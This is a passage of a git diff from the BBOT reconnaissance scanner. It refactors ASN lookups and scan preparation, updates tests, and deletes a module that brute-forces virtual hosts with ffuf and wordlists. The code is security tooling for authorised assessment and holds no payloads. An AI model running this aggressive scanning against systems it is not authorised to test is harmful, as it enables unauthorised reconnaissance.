"RTechName"], - "country": ["Country"], - } - url = f"https://stat.ripe.net/data/whois/data.json?resource={asn_number}" - response = await self.get_url(url, "ASN Metadata", cache=True) - if response is False: - return False - data = response.get("data", {}) - if not data: - data = {} - records = data.get("records", []) - if not records: - records = [] - emails = set() - asn = {k: "" for k in metadata_keys.keys()} - for record in records: - for item in record: - key = item.get("key", "") - value = item.get("value", "") - for email in await self.helpers.re.extract_emails(value): - emails.add(email.lower()) - if not key: - continue - if value: - for keyname, keyvals in metadata_keys.items(): - if key in keyvals and not asn.get(keyname, ""): - asn[keyname] = value - asn["emails"] = list(emails) - asn["asn"] = str(asn_number) - self.ripe_cache[asn_number] = asn - return asn + header = ["ASN", "Subnet Count", "Name", "Description", "Country"] + table = [] + for asn_number, subnet_count in sorted_asns: + # Get ASN details from helper + asn_data = await self.helpers.asn.asn_to_subnets(asn_number) + if asn_data: + asn_name = asn_data.get("name", "") + asn_description = asn_data.get("description", "") + asn_country = asn_data.get("country", "") + else: + asn_name = asn_description = asn_country = "unknown" - async def get_asn_bgpview(self, ip): - url = f"https://api.bgpview.io/ip/{ip}" - data = await self.get_url(url, "ASN") - asns = [] - asns_tried = set() - if data is False: - return False - data = data.get("data", {}) - prefixes = data.get("prefixes", []) - for prefix in prefixes: - details = prefix.get("asn", {}) - asn = str(details.get("asn", "")) - subnet = prefix.get("prefix", "") - if not (asn or subnet): - continue - name = details.get("name") or prefix.get("name") or "" - description = details.get("description") or prefix.get("description") or "" - country = details.get("country_code") or prefix.get("country_code") or "" - emails = [] - if asn not in asns_tried: - emails = await self.get_emails_bgpview(asn) - if emails is False: - return False - asns_tried.add(asn) - asns.append( - { - "asn": asn, - "subnet": subnet, - "name": name, - "description": description, - "country": country, - "emails": emails, - } + number = "AS" + asn_number if asn_number != "0" else asn_number + table.append( + [ + number, + f"{subnet_count:,}", + asn_name, + asn_description, + asn_country, + ] ) - if not asns: - self.debug(f'No results for "{ip}"') - return asns - async def get_emails_bgpview(self, asn): - contacts = [] - url = f"https://api.bgpview.io/asn/{asn}" - data = await self.get_url(url, "ASN metadata", cache=True) - if data is False: - return False - data = data.get("data", {}) - if not data: - self.debug(f'No results for "{asn}"') - return - email_contacts = data.get("email_contacts", []) - abuse_contacts = data.get("abuse_contacts", []) - contacts = [l.strip().lower() for l in email_contacts + abuse_contacts] - return list(set(contacts)) - - async def get_url(self, url, data_type, cache=False): - kwargs = {} - if cache: - kwargs["cache_for"] = 60 * 60 * 24 - r = await self.helpers.request(url, **kwargs) - data = {} - try: - j = r.json() - if not isinstance(j, dict): - return data - return j - except Exception as e: - self.verbose(f"Error retrieving {data_type} at {url}: {e}", trace=True) - self.debug(f"Got data: {getattr(r, 'content', '')}") - return False + self.log_table(table, header, table_name="asns") diff --git a/bbot/modules/sslcert.py b/bbot/modules/sslcert.py index 3c52cf64fe..d135e9b4ba 100644 --- a/bbot/modules/sslcert.py +++ b/bbot/modules/sslcert.py @@ -63,9 +63,9 @@ async def handle_event(self, event): else: abort_threshold = self.out_of_scope_abort_threshold - tasks = [self.visit_host(host, port) for host in hosts] - async for task in self.helpers.as_completed(tasks): - result = await task + coroutines = [self.visit_host(host, port) for host in hosts] + async for coroutine in self.helpers.as_completed(coroutines): + result = await coroutine if not isinstance(result, tuple) or not len(result) == 3: continue dns_names, emails, (host, port) = result diff --git a/bbot/modules/vhost.py b/bbot/modules/vhost.py deleted file mode 100644 index 0c8759f097..0000000000 --- a/bbot/modules/vhost.py +++ /dev/null @@ -1,129 +0,0 @@ -import base64 -from urllib.parse import urlparse - -from bbot.modules.ffuf import ffuf - - -class vhost(ffuf): - watched_events = ["URL"] - produced_events = ["VHOST", "DNS_NAME"] - flags = ["active", "aggressive", "slow", "deadly"] - meta = {"description": "Fuzz for virtual hosts", "created_date": "2022-05-02", "author": "@liquidsec"} - - special_vhost_list = ["127.0.0.1", "localhost", "host.docker.internal"] - options = { - "wordlist": "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt", - "force_basehost": "", - "lines": 5000, - } - options_desc = { - "wordlist": "Wordlist containing subdomains", - "force_basehost": "Use a custom base host (e.g. evilcorp.com) instead of the default behavior of using the current URL", - "lines": "take only the first N lines from the wordlist when finding directories", - } - - deps_common = ["ffuf"] - banned_characters = {" ", "."} - - in_scope_only = True - - async def setup(self): - self.scanned_hosts = {} - self.wordcloud_tried_hosts = set() - return await super().setup() - - async def handle_event(self, event): - if not self.helpers.is_ip(event.host) or self.config.get("force_basehost"): - host = f"{event.parsed_url.scheme}://{event.parsed_url.netloc}" - if host in self.scanned_hosts.keys(): - return - else: - self.scanned_hosts[host] = event - - # subdomain vhost check - self.verbose("Main vhost bruteforce") - if self.config.get("force_basehost"): - basehost = self.config.get("force_basehost") - else: - basehost = self.helpers.parent_domain(event.parsed_url.netloc) - - self.debug(f"Using basehost: {basehost}") - async for vhost in self.ffuf_vhost(host, f".{basehost}", event): - self.verbose(f"Starting mutations check for {vhost}") - async for vhost in self.ffuf_vhost(host, f".{basehost}", event, wordlist=self.mutations_check(vhost)): - pass - - # check existing host for mutations - self.verbose("Checking for vhost mutations on main host") - async for vhost in self.ffuf_vhost( - host, f".{basehost}", event, wordlist=self.mutations_check(event.parsed_url.netloc.split(".")[0]) - ): - pass - - # special vhost list - self.verbose("Checking special vhost list") - async for vhost in self.ffuf_vhost( - host, - "", - event, - wordlist=self.helpers.tempfile(self.special_vhost_list, pipe=False), - skip_dns_host=True, - ): - pass - - async def ffuf_vhost(self, host, basehost, event, wordlist=None, skip_dns_host=False): - filters = await self.baseline_ffuf(f"{host}/", exts=[""], suffix=basehost, mode="hostheader") - self.debug("Baseline completed and returned these filters:") - self.debug(filters) - if not wordlist: - wordlist = self.tempfile - async for r in self.execute_ffuf( - wordlist, host, exts=[""], suffix=basehost, filters=filters, mode="hostheader" - ): - found_vhost_b64 = r["input"]["FUZZ"] - vhost_str = base64.b64decode(found_vhost_b64).decode() - vhost_dict = {"host": str(event.host), "url": host, "vhost": vhost_str} - if f"{vhost_dict['vhost']}{basehost}" != event.parsed_url.netloc: - await self.emit_event( - vhost_dict, - "VHOST", - parent=event, - context=f"{{module}} brute-forced virtual hosts for {event.data} and found {{event.type}}: {vhost_str}", - ) - if skip_dns_host is False: - await self.emit_event( - f"{vhost_dict['vhost']}{basehost}", - "DNS_NAME", - parent=event, - tags=["vhost"], - context=f"{{module}} brute-forced virtual hosts for {event.data} and found {{event.type}}: {{event.data}}", - ) - - yield vhost_dict["vhost"] - - def mutations_check(self, vhost): - mutations_list = [] - for mutation in self.helpers.word_cloud.mutations(vhost): - for i in ["", "-"]: - mutations_list.append(i.join(mutation)) - mutations_list_file = self.helpers.tempfile(mutations_list, pipe=False) - return mutations_list_file - - async def finish(self): - # check existing hosts with wordcloud - tempfile = self.helpers.tempfile(list(self.helpers.word_cloud.keys()), pipe=False) - - for host, event in self.scanned_hosts.items(): - if host not in self.wordcloud_tried_hosts: - event.parsed_url = urlparse(host) - - self.verbose("Checking main host with wordcloud") - if self.config.get("force_basehost"): - basehost = self.config.get("force_basehost") - else: - basehost = self.helpers.parent_domain(event.parsed_url.netloc) - - async for vhost in self.ffuf_vhost(host, f".{basehost}", event, wordlist=tempfile): - pass - - self.wordcloud_tried_hosts.add(host) diff --git a/bbot/scanner/preset/args.py b/bbot/scanner/preset/args.py index a86a2c666c..87cd892626 100644 --- a/bbot/scanner/preset/args.py +++ b/bbot/scanner/preset/args.py @@ -369,6 +369,7 @@ def create_parser(self, *args, **kwargs): deps = p.add_argument_group( title="Module dependencies", description="Control how modules install their dependencies" ) + # Behavior flags are mutually exclusive with each other. But need to be able to be combined with --install-all-deps. g2 = deps.add_mutually_exclusive_group() g2.add_argument("--no-deps", action="store_true", help="Don't install module dependencies") g2.add_argument("--force-deps", action="store_true", help="Force install all module dependencies") @@ -376,7 +377,7 @@ def create_parser(self, *args, **kwargs): g2.add_argument( "--ignore-failed-deps", action="store_true", help="Run modules even if they have failed dependencies" ) - g2.add_argument("--install-all-deps", action="store_true", help="Install dependencies for all modules") + deps.add_argument("--install-all-deps", action="store_true", help="Install dependencies for all modules") misc = p.add_argument_group(title="Misc") misc.add_argument("--version", action="store_true", help="show BBOT version and exit") diff --git a/bbot/scanner/preset/preset.py b/bbot/scanner/preset/preset.py index a700b6b372..8484bee514 100644 --- a/bbot/scanner/preset/preset.py +++ b/bbot/scanner/preset/preset.py @@ -234,7 +234,7 @@ def __init__( # preset description, default blank self.description = description or "" - # custom conditions, evaluated during .bake() + # custom conditions, evaluated during Scanner._prep() self.conditions = [] if conditions is not None: for condition in conditions: @@ -290,20 +290,18 @@ def bbot_home(self): @property def target(self): - if self._target is None: - raise ValueError("Cannot access target before preset is baked (use ._seeds instead)") return self._target @property def seeds(self): if self._target is None: - raise ValueError("Cannot access target before preset is baked (use ._seeds instead)") + return None return self.target.seeds @property def blacklist(self): if self._target is None: - raise ValueError("Cannot access blacklist before preset is baked (use ._blacklist instead)") + return None return self.target.blacklist @property @@ -407,7 +405,6 @@ def bake(self, scan=None): Baking a preset finalizes it by populating `preset.modules` based on flags, performing final validations, and substituting environment variables in preloaded modules. - It also evaluates custom `conditions` as specified in the preset. This function is automatically called in Scanner.__init__(). There is no need to call it manually. """ @@ -432,9 +429,6 @@ def bake(self, scan=None): os.environ.clear() os.environ.update(os_environ) - # assign baked preset to our scan - scan.preset = baked_preset - # validate log level options baked_preset.apply_log_level(apply_core=scan is not None) @@ -492,14 +486,6 @@ def bake(self, scan=None): strict_dns_scope=self.strict_scope, ) - if scan is not None: - # evaluate conditions - if baked_preset.conditions: - from .conditions import ConditionEvaluator - - evaluator = ConditionEvaluator(baked_preset) - evaluator.evaluate() - self._baked = True return baked_preset @@ -994,11 +980,13 @@ def presets_table(self, include_modules=True): if include_modules: header.append("Modules") for loaded_preset, category, preset_path, original_file in self.all_presets.values(): - loaded_preset = loaded_preset.bake() - num_modules = f"{len(loaded_preset.scan_modules):,}" + # Use explicit_scan_modules which contains the raw modules from YAML + # This avoids needing to call bake() + explicit_modules = loaded_preset.explicit_scan_modules + num_modules = f"{len(explicit_modules):,}" row = [loaded_preset.name, category, loaded_preset.description, num_modules] if include_modules: - row.append(", ".join(sorted(loaded_preset.scan_modules))) + row.append(", ".join(sorted(explicit_modules))) table.append(row) return make_table(table, header) diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index ae70bde7d1..7e683b2c89 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -128,6 +128,7 @@ def __init__( self._success = False self._scan_finish_status_message = None self._marked_finished = False + self._modules_loaded = False if scan_id is not None: self.id = str(scan_id) @@ -151,6 +152,15 @@ def __init__( self.preset = base_preset.bake(self) + self._prepped = False + self._finished_init = False + self._new_activity = False + self._cleanedup = False + self._omitted_event_types = None + self.modules = OrderedDict({}) + self.dummy_modules = {} + self._status_code = SCAN_STATUS_NOT_STARTED + # scan name if self.preset.scan_name is None: tries = 0 @@ -184,12 +194,8 @@ def __init__( # scan temp dir self.temp_dir = self.home / "temp" - self.helpers.mkdir(self.temp_dir) - - self.modules = OrderedDict({}) - self._modules_loaded = False - self.dummy_modules = {} + # dispatcher if dispatcher is None: from .dispatcher import Dispatcher @@ -204,26 +210,26 @@ def __init__( self.scope_report_distance = int(self.scope_config.get("report_distance", 1)) # web config - self.web_config = self.config.get("web", {}) - self.web_spider_distance = self.web_config.get("spider_distance", 0) - self.web_spider_depth = self.web_config.get("spider_depth", 1) - self.web_spider_links_per_page = self.web_config.get("spider_links_per_page", 20) - max_redirects = self.web_config.get("http_max_redirects", 5) + web_config = self.config.get("web", {}) + self.web_spider_distance = web_config.get("spider_distance", 0) + self.web_spider_depth = web_config.get("spider_depth", 1) + self.web_spider_links_per_page = web_config.get("spider_links_per_page", 20) + max_redirects = web_config.get("http_max_redirects", 5) self.web_max_redirects = max(max_redirects, self.web_spider_distance) - self.http_proxy = self.web_config.get("http_proxy", "") - self.http_timeout = self.web_config.get("http_timeout", 10) - self.httpx_timeout = self.web_config.get("httpx_timeout", 5) - self.http_retries = self.web_config.get("http_retries", 1) - self.httpx_retries = self.web_config.get("httpx_retries", 1) - self.useragent = self.web_config.get("user_agent", "BBOT") + self.http_proxy = web_config.get("http_proxy", "") + self.http_timeout = web_config.get("http_timeout", 10) + self.httpx_timeout = web_config.get("httpx_timeout", 5) + self.http_retries = web_config.get("http_retries", 1) + self.httpx_retries = web_config.get("httpx_retries", 1) + self.useragent = web_config.get("user_agent", "BBOT") # custom HTTP headers warning - self.custom_http_headers = self.web_config.get("http_headers", {}) + self.custom_http_headers = web_config.get("http_headers", {}) if self.custom_http_headers: self.warning( "You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx." ) # custom HTTP cookies warning - self.custom_http_cookies = self.web_config.get("http_cookies", {}) + self.custom_http_cookies = web_config.get("http_cookies", {}) if self.custom_http_cookies: self.warning( "You have enabled custom HTTP cookies. These will be attached to all in-scope requests and all requests made by httpx." @@ -247,12 +253,6 @@ def __init__( self.stats = ScanStats(self) - self._prepped = False - self._finished_init = False - self._new_activity = False - self._cleanedup = False - self._omitted_event_types = None - self.init_events_task = None self.ticker_task = None self.dispatcher_tasks = [] @@ -268,16 +268,36 @@ def __init__( self.__log_handlers = None self._log_handler_backup = [] + # update the master PID + SHARED_INTERPRETER_STATE.update_scan_pid() + async def _prep(self): """ - Creates the scan's output folder, loads its modules, and calls their .setup() methods. + Expands async seed types (e.g. ASN → IP ranges), evaluates preset conditions, + creates the scan's output folder, loads its modules, and calls their .setup() methods. """ + # expand async seed types (e.g. ASN → IP ranges) + await self.preset.target.generate_children(self.helpers) - # update the master PID - SHARED_INTERPRETER_STATE.update_scan_pid() + # evaluate preset conditions (may abort the scan) + if self.preset.conditions: + from .preset.conditions import ConditionEvaluator + + evaluator = ConditionEvaluator(self.preset) + evaluator.evaluate() self.helpers.mkdir(self.home) + self.helpers.mkdir(self.temp_dir) + + if not self._modules_loaded: + self.modules = OrderedDict({}) + self.dummy_modules = {} + if not self._prepped: + # clear modules for fresh start + self.modules.clear() + self.dummy_modules.clear() + # save scan preset with open(self.home / "preset.yml", "w") as f: f.write(self.preset.to_yaml()) @@ -326,6 +346,7 @@ async def _prep(self): success_msg = f"Setup succeeded for {len(self.modules) - 2:,}/{total_modules - 2:,} modules." self.success(success_msg) + self._modules_loaded = True self._prepped = True def start(self): @@ -342,10 +363,11 @@ async def async_start_without_generator(self): async def async_start(self): self.start_time = datetime.now(ZoneInfo("UTC")) - self.root_event.data["started_at"] = self.start_time.timestamp() - await self._set_status(SCAN_STATUS_STARTING) try: - await self._prep() + if not self._prepped: + await self._prep() + await self._set_status(SCAN_STATUS_STARTING) + self.root_event.data["started_at"] = self.start_time.isoformat() self._start_log_handlers() self.trace(f"Ran BBOT {__version__} at {self.start_time}, command: {' '.join(sys.argv)}") @@ -566,6 +588,7 @@ async def load_modules(self): if not self._modules_loaded: if not self.preset.modules: self.warning("No modules to load") + self._modules_loaded = True return if not self.preset.scan_modules: @@ -902,9 +925,15 @@ async def _cleanup(self): # clean up web engine if self.helpers._web is not None: await self.helpers.web.shutdown() - with contextlib.suppress(Exception): - self.home.rmdir() - self.helpers.rm_rf(self.temp_dir, ignore_errors=True) + # In some test paths, `_prep()` is never called, so `home` and + # `temp_dir` may not exist. Treat those as best-effort cleanups. + home = getattr(self, "home", None) + if home is not None: + with contextlib.suppress(Exception): + home.rmdir() + temp_dir = getattr(self, "temp_dir", None) + if temp_dir is not None: + self.helpers.rm_rf(temp_dir, ignore_errors=True) self.helpers.clean_old_scans() def in_scope(self, *args, **kwargs): @@ -924,6 +953,10 @@ def core(self): def config(self): return self.preset.core.config + @property + def web_config(self): + return self.config.get("web", {}) + @property def target(self): return self.preset.target @@ -1165,8 +1198,12 @@ def json(self): v = getattr(self, i, "") if v: j.update({i: v}) - j["target"] = self.preset.target.json - j["preset"] = self.preset.to_dict(redact_secrets=True) + if self.preset is not None: + j["target"] = self.preset.target.json + j["preset"] = self.preset.to_dict(redact_secrets=True) + else: + j["target"] = {} + j["preset"] = {} if self.start_time is not None: j["started_at"] = self.start_time.timestamp() if self.end_time is not None: diff --git a/bbot/scanner/target.py b/bbot/scanner/target.py index 3420b366b1..f51e843775 100644 --- a/bbot/scanner/target.py +++ b/bbot/scanner/target.py @@ -83,6 +83,9 @@ def add(self, targets, data=None): event_seeds = set() for target in targets: event_seed = EventSeed(target) + log.debug( + f"Created EventSeed: {event_seed} (type: {event_seed.type}, target_type: {event_seed._target_type}, host: {event_seed.host})" + ) if not event_seed._target_type in self.accept_target_types: log.warning(f"Invalid target type for {self.__class__.__name__}: {event_seed.type}") continue @@ -341,3 +344,34 @@ def in_target(self, host): def __eq__(self, other): return self.hash == other.hash + + async def generate_children(self, helpers=None): + """ + Generate children for the target, for seed types that expand into other seed types. + Helpers are passed into the _generate_children method to enable the use of network lookups and other utilities during the expansion process. + """ + # Check if this target had a custom target scope (target different from the default seed hosts) + # Compare inputs (strings) to inputs (strings) to avoid type mismatches + # between string inputs and host objects (IP networks, etc.) + had_custom_target = set(self.target.inputs) != set(self.seeds.inputs) + + # Expand seeds first + for event_seed in list(self.seeds.event_seeds): + children = await event_seed._generate_children(helpers) + for child in children: + self.seeds.add(child) + + # Also expand blacklist event seeds (like ASN targets) + for event_seed in list(self.blacklist.event_seeds): + children = await event_seed._generate_children(helpers) + for child in children: + self.blacklist.add(child) + + # After expanding seeds, update the target to include any new hosts from seed expansion + # This ensures that expanded targets (like IP ranges from ASN) are considered in-scope + # BUT only if no custom target was provided - don't override user's custom target + if not had_custom_target: + expanded_seed_hosts = self.seeds.hosts + for host in expanded_seed_hosts: + if host not in self.target: + self.target.add(host) diff --git a/bbot/test/bbot_fixtures.py b/bbot/test/bbot_fixtures.py index 6a6adbc45c..df390f5f37 100644 --- a/bbot/test/bbot_fixtures.py +++ b/bbot/test/bbot_fixtures.py @@ -15,7 +15,6 @@ from bbot.core import CORE from bbot.scanner import Preset from bbot.core.helpers.misc import mkdir, rand_string -from bbot.core.helpers.async_helpers import get_event_loop log = logging.getLogger("bbot.test.fixtures") @@ -84,14 +83,14 @@ def bbot_scanner(): @pytest.fixture -def scan(): +async def scan(): from bbot.scanner import Scanner bbot_scan = Scanner("127.0.0.1", modules=["ipneighbor"]) + await bbot_scan._prep() yield bbot_scan - loop = get_event_loop() - loop.run_until_complete(bbot_scan._cleanup()) + await bbot_scan._cleanup() @pytest.fixture @@ -224,9 +223,6 @@ class bbot_events: parent=scan.root_event, module=dummy_module, ) - vhost = scan.make_event( - {"host": "evilcorp.com", "vhost": "www.evilcorp.com"}, "VHOST", parent=scan.root_event, module=dummy_module - ) http_response = scan.make_event(httpx_response, "HTTP_RESPONSE", parent=scan.root_event, module=dummy_module) storage_bucket = scan.make_event( {"name": "storage", "url": "https://storage.blob.core.windows.net"}, @@ -257,7 +253,6 @@ class bbot_events: bbot_events.ipv6_url, bbot_events.url_hint, bbot_events.finding, - bbot_events.vhost, bbot_events.http_response, bbot_events.storage_bucket, bbot_events.emoji, diff --git a/bbot/test/conftest.py b/bbot/test/conftest.py index 2b39ae2e2b..59cbba2a6b 100644 --- a/bbot/test/conftest.py +++ b/bbot/test/conftest.py @@ -343,6 +343,25 @@ def pytest_sessionfinish(session, exitstatus): # Wipe out BBOT home dir shutil.rmtree("/tmp/.bbot_test", ignore_errors=True) + # Ensure stdout/stderr are blocking before pytest writes summaries + try: + import sys + import fcntl + import os + import io + + fds = [] + for stream in (sys.stdout, sys.stderr): + try: + fds.append(stream.fileno()) + except io.UnsupportedOperation: + pass + for fd in fds: + flags = fcntl.fcntl(fd, fcntl.F_GETFL) + fcntl.fcntl(fd, fcntl.F_SETFL, flags & ~os.O_NONBLOCK) + except Exception: + pass + yield # temporarily suspend stdout capture and print detailed thread info diff --git a/bbot/test/test_step_1/test_bloom_filter.py b/bbot/test/test_step_1/test_bloom_filter.py index 0a43f34157..73e1be0094 100644 --- a/bbot/test/test_step_1/test_bloom_filter.py +++ b/bbot/test/test_step_1/test_bloom_filter.py @@ -13,6 +13,7 @@ def generate_random_strings(n, length=10): from bbot.scanner import Scanner scan = Scanner() + await scan._prep() n_items_to_add = 100000 n_items_to_test = 100000 diff --git a/bbot/test/test_step_1/test_cli.py b/bbot/test/test_step_1/test_cli.py index 5d3179c702..d8024c66a2 100644 --- a/bbot/test/test_step_1/test_cli.py +++ b/bbot/test/test_step_1/test_cli.py @@ -616,7 +616,7 @@ def test_cli_module_validation(monkeypatch, caplog): assert 'Did you mean "subdomain-enum"?' in caplog.text -def test_cli_presets(monkeypatch, capsys, caplog): +def test_cli_presets(monkeypatch, capsys, caplog, clean_default_config): import yaml monkeypatch.setattr(sys, "exit", lambda *args, **kwargs: True) diff --git a/bbot/test/test_step_1/test_command.py b/bbot/test/test_step_1/test_command.py index 7a99aed9bc..54bbdaba25 100644 --- a/bbot/test/test_step_1/test_command.py +++ b/bbot/test/test_step_1/test_command.py @@ -6,6 +6,7 @@ @pytest.mark.asyncio async def test_command(bbot_scanner): scan1 = bbot_scanner() + await scan1._prep() # test timeouts command = ["sleep", "3"] @@ -116,7 +117,7 @@ async def test_command(bbot_scanner): assert not lines # test sudo + existence of environment variables - await scan1.load_modules() + await scan1._prep() path_parts = os.environ.get("PATH", "").split(":") assert "/tmp/.bbot_test/tools" in path_parts run_lines = (await scan1.helpers.run(["env"])).stdout.splitlines() diff --git a/bbot/test/test_step_1/test_config.py b/bbot/test/test_step_1/test_config.py index 72f7961379..b040bf5dc0 100644 --- a/bbot/test/test_step_1/test_config.py +++ b/bbot/test/test_step_1/test_config.py @@ -15,7 +15,7 @@ async def test_config(bbot_scanner): } ) scan1 = bbot_scanner("127.0.0.1", modules=["ipneighbor"], config=config) - await scan1.load_modules() + await scan1._prep() assert scan1.config.web.user_agent == "BBOT Test User-Agent" assert scan1.config.plumbus == "asdf" assert scan1.modules["ipneighbor"].config.test_option == "ipneighbor" diff --git a/bbot/test/test_step_1/test_depsinstaller.py b/bbot/test/test_step_1/test_depsinstaller.py index 9dff1c0281..76a363ae5d 100644 --- a/bbot/test/test_step_1/test_depsinstaller.py +++ b/bbot/test/test_step_1/test_depsinstaller.py @@ -6,6 +6,7 @@ async def test_depsinstaller(monkeypatch, bbot_scanner): scan = bbot_scanner( "127.0.0.1", ) + await scan._prep() # test shell test_file = Path("/tmp/test_file") diff --git a/bbot/test/test_step_1/test_dns.py b/bbot/test/test_step_1/test_dns.py index 7057080be5..6f26b8b95f 100644 --- a/bbot/test/test_step_1/test_dns.py +++ b/bbot/test/test_step_1/test_dns.py @@ -18,6 +18,7 @@ @pytest.mark.asyncio async def test_dns_engine(bbot_scanner): scan = bbot_scanner() + await scan._prep() await scan.helpers._mock_dns( {"one.one.one.one": {"A": ["1.1.1.1"]}, "1.1.1.1.in-addr.arpa": {"PTR": ["one.one.one.one"]}} ) @@ -168,6 +169,7 @@ async def test_dns_resolution(bbot_scanner): assert "a-record" not in resolved_hosts_event2.tags scan2 = bbot_scanner("evilcorp.com", config={"dns": {"minimal": False}}) + await scan2._prep() await scan2.helpers.dns._mock_dns( { "evilcorp.com": {"TXT": ['"v=spf1 include:cloudprovider.com ~all"']}, @@ -186,6 +188,7 @@ async def test_dns_resolution(bbot_scanner): @pytest.mark.asyncio async def test_wildcards(bbot_scanner): scan = bbot_scanner("1.1.1.1") + await scan._prep() helpers = scan.helpers from bbot.core.helpers.dns.engine import DNSEngine, all_rdtypes @@ -260,6 +263,7 @@ def custom_lookup(query, rdtype): "speculate": True, }, ) + await scan._prep() await scan.helpers.dns._mock_dns(mock_data, custom_lookup_fn=custom_lookup) events = [e async for e in scan.async_start()] @@ -324,6 +328,7 @@ def custom_lookup(query, rdtype): "speculate": True, }, ) + await scan._prep() await scan.helpers.dns._mock_dns(mock_data, custom_lookup_fn=custom_lookup) events = [e async for e in scan.async_start()] @@ -428,6 +433,7 @@ def custom_lookup(query, rdtype): }, }, ) + await scan._prep() await scan.helpers.dns._mock_dns(mock_data, custom_lookup_fn=custom_lookup) events = [e async for e in scan.async_start()] @@ -506,6 +512,7 @@ def custom_lookup(query, rdtype): } scan = bbot_scanner("1.1.1.1") + await scan._prep() helpers = scan.helpers # event resolution @@ -678,6 +685,7 @@ async def handle_event(self, event): scan = bbot_scanner( "evilcorp.com", config={"dns": {"minimal": False, "wildcard_ignore": []}, "omit_event_types": []} ) + await scan._prep() await scan.helpers.dns._mock_dns(mock_data, custom_lookup_fn=custom_lookup) dummy_module = DummyModule(scan) scan.modules["dummy_module"] = dummy_module @@ -703,8 +711,10 @@ async def handle_event(self, event): # scan without omitted event type scan = bbot_scanner("one.one.one.one", "1.1.1.1", config={"dns": {"minimal": False}, "omit_event_types": []}) + await scan._prep() await scan.helpers.dns._mock_dns(mock_records) dummy_module = DummyModule(scan) + await dummy_module.setup() scan.modules["dummy_module"] = dummy_module events = [e async for e in scan.async_start()] assert 1 == len([e for e in events if e.type == "RAW_DNS_RECORD"]) @@ -736,8 +746,10 @@ async def handle_event(self, event): ) # scan with omitted event type scan = bbot_scanner("one.one.one.one", config={"dns": {"minimal": False}, "omit_event_types": ["RAW_DNS_RECORD"]}) + await scan._prep() await scan.helpers.dns._mock_dns(mock_records) dummy_module = DummyModule(scan) + await dummy_module.setup() scan.modules["dummy_module"] = dummy_module events = [e async for e in scan.async_start()] # no raw records should be emitted @@ -747,8 +759,10 @@ async def handle_event(self, event): # scan with watching module DummyModule.watched_events = ["RAW_DNS_RECORD"] scan = bbot_scanner("one.one.one.one", config={"dns": {"minimal": False}, "omit_event_types": ["RAW_DNS_RECORD"]}) + await scan._prep() await scan.helpers.dns._mock_dns(mock_records) dummy_module = DummyModule(scan) + await dummy_module.setup() scan.modules["dummy_module"] = dummy_module events = [e async for e in scan.async_start()] # no raw records should be output @@ -772,6 +786,7 @@ async def handle_event(self, event): @pytest.mark.asyncio async def test_dns_graph_structure(bbot_scanner): scan = bbot_scanner("https://evilcorp.com", config={"dns": {"search_distance": 1, "minimal": False}}) + await scan._prep() await scan.helpers.dns._mock_dns( { "evilcorp.com": { @@ -800,6 +815,7 @@ async def test_dns_graph_structure(bbot_scanner): @pytest.mark.asyncio async def test_hostname_extraction(bbot_scanner): scan = bbot_scanner("evilcorp.com", config={"dns": {"minimal": False}}) + await scan._prep() await scan.helpers.dns._mock_dns( { "evilcorp.com": { @@ -846,6 +862,7 @@ async def test_dns_helpers(bbot_scanner): # make sure system nameservers are excluded from use by DNS brute force brute_nameservers = tempwordlist(["1.2.3.4", "8.8.4.4", "4.3.2.1", "8.8.8.8"]) scan = bbot_scanner(config={"dns": {"brute_nameservers": brute_nameservers}}) + await scan._prep() scan.helpers.dns.system_resolvers = ["8.8.8.8", "8.8.4.4"] resolver_file = await scan.helpers.dns.brute.resolver_file() resolvers = set(scan.helpers.read_file(resolver_file)) diff --git a/bbot/test/test_step_1/test_events.py b/bbot/test/test_step_1/test_events.py index 5a948a734a..71fba0b968 100644 --- a/bbot/test/test_step_1/test_events.py +++ b/bbot/test/test_step_1/test_events.py @@ -710,6 +710,7 @@ async def test_event_discovery_context(): from bbot.modules.base import BaseModule scan = Scanner("evilcorp.com") + await scan._prep() await scan.helpers.dns._mock_dns( { "evilcorp.com": {"A": ["1.2.3.4"]}, @@ -719,7 +720,6 @@ async def test_event_discovery_context(): "four.evilcorp.com": {"A": ["1.2.3.4"]}, } ) - await scan._prep() dummy_module_1 = scan._make_dummy_module("module_1") dummy_module_2 = scan._make_dummy_module("module_2") @@ -869,6 +869,7 @@ async def handle_event(self, event): # test to make sure this doesn't come back # https://github.com/blacklanternsecurity/bbot/issues/1498 scan = Scanner("http://blacklanternsecurity.com", config={"dns": {"minimal": False}}) + await scan._prep() await scan.helpers.dns._mock_dns( {"blacklanternsecurity.com": {"TXT": ["blsops.com"], "A": ["127.0.0.1"]}, "blsops.com": {"A": ["127.0.0.1"]}} ) @@ -887,6 +888,7 @@ async def test_event_web_spider_distance(bbot_scanner): # URL_UNVERIFIED events should not increment web spider distance scan = bbot_scanner(config={"web": {"spider_distance": 1}}) + await scan._prep() url_event_1 = scan.make_event("http://www.evilcorp.com/test1", "URL_UNVERIFIED", parent=scan.root_event) assert url_event_1.web_spider_distance == 0 url_event_2 = scan.make_event("http://www.evilcorp.com/test2", "URL_UNVERIFIED", parent=url_event_1) @@ -900,6 +902,7 @@ async def test_event_web_spider_distance(bbot_scanner): # URL events should increment web spider distance scan = bbot_scanner(config={"web": {"spider_distance": 1}}) + await scan._prep() url_event_1 = scan.make_event("http://www.evilcorp.com/test1", "URL", parent=scan.root_event, tags="status-200") assert url_event_1.web_spider_distance == 0 url_event_2 = scan.make_event("http://www.evilcorp.com/test2", "URL", parent=url_event_1, tags="status-200") @@ -972,8 +975,10 @@ async def test_event_web_spider_distance(bbot_scanner): assert "spider-max" not in url_event_5.tags -def test_event_closest_host(): +@pytest.mark.asyncio +async def test_event_closest_host(): scan = Scanner() + await scan._prep() # first event has a host event1 = scan.make_event("evilcorp.com", "DNS_NAME", parent=scan.root_event) assert event1.host == "evilcorp.com" @@ -1078,7 +1083,8 @@ def test_event_closest_host(): assert vuln is not None -def test_event_magic(): +@pytest.mark.asyncio +async def test_event_magic(): from bbot.core.helpers.libmagic import get_magic_info, get_compression import base64 @@ -1099,6 +1105,7 @@ def test_event_magic(): # test filesystem event - file scan = Scanner() + await scan._prep() event = scan.make_event({"path": zip_file}, "FILESYSTEM", parent=scan.root_event) assert event.data == { "path": "/tmp/.bbottestzipasdkfjalsdf.zip", @@ -1112,6 +1119,7 @@ def test_event_magic(): # test filesystem event - folder scan = Scanner() + await 